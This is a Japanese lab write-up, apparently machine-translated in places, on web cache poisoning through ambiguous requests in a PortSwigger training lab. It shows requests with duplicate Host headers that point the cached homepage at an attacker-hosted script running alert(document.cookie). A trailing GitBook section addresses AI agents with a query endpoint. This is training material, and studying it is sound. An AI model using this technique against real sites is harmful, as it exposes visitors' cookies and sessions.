> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# あいまいなリクエストによるWebキャッシュ・ポイズニング

あいまいなリクエストによるWebキャッシュ・ポイズニングの PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### 曖昧なリクエストによるWebキャッシュポイズニング

**ラボの説明**

このラボは〜に対して脆弱です **Webキャッシュポイズニング** 〜の解釈の違いにより **キャッシュシステム** および **バックエンドサーバー** 曖昧なリクエストを解釈します。/ 正規ユーザーは定期的にサイトのホームページを訪れます。

\*\*対象:\*\*/ ホームページが表示されるようにキャッシュを汚染する `alert(document.cookie)` 被害者のブラウザ上で。

**初期観察**

* HTTPレスポンスには、キャッシュの経過時間が30秒であることを示すヘッダーが含まれています（`Age: 30`）、キャッシュ機構の使用を確認できます。
* サーバーの動作は、リクエストの構造に応じて変化し、特に `Host` ヘッダーをファズすることで。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2bb0740476743578bd413be628ce52c4ed4c954b%2F%7B5232B863-E49B-4E10-8B83-FBFB200598F6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**無効な Host でテストする**

〜を変更する `Host` を存在しない値にしたヘッダー：

```http
Host: wfwfkowf.com
```

返された応答は Gateway Timeout エラーであり、サーバーがこの値を解決しようとしていることを示しています：

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            サーバーエラー：Gateway Timeout
        </title>
    </head>
    <body>
        <h1>
            サーバーエラー：Gateway Timeout (1) wfwfkowf.com への接続中
        </h1>
    </body>
</html>
```

{% endcode %}

この手法はブロックされているため、直接悪用することはできません

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-631c4f244bda656cfb1af95a16f95d3d456f364c%2F%7B105A788A-5ED4-4E9B-BC06-EB543BBC96B7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**2つの Host ヘッダーの使用**

送信する **2つの `Host` 同じリクエスト内のヘッダー**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* アプリケーションは通常どおり応答します。
* 〜の値は **2番目の Host** は、クライアント側で読み込まれるリソースに反映されます（たとえば、 `src` 属性内に）。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ce1a375c105adafeaba7bb159f5e49d67989d6f%2F%7BBF64614C-FCEF-4BAA-A329-083C1193419E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これは、キャッシュとバックエンドの間で一貫性のない\*\*解釈\*\*があることを示しています

**ペイロードの準備**

攻撃者のサーバー上に、JavaScriptファイルが作成されます：

/resources/js/tracking.js

内容：

```javascript
alert(document.cookie);
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3825f4e349fee6bae212210a1ed40b2a5ad9e473%2F%7B2DC4AD49-6C97-43E6-A6F7-608EA00968E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**キャッシュポイズニング**

2つのヘッダーを含む新しいリクエストが送信されます `Host` ヘッダーが送られ、2番目は攻撃者のサーバーを指します：

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* バックエンドはリクエストを受け入れます。
* キャッシュは汚染されたレスポンスを記録します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8b24d0c5e06cd25607a1a4ba7a0e47c12e65b25%2F%7B50E2AB8C-BBDF-4DFB-B1B7-295DDAD37EB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

ホームページは現在、攻撃者のサーバーでホストされている JavaScript スクリプトを参照しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8c91ce2b424d65e181f7396ff6412b668e128a1f%2F%7B95B67D8D-6F06-4037-BBF6-CF03A3C05949%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
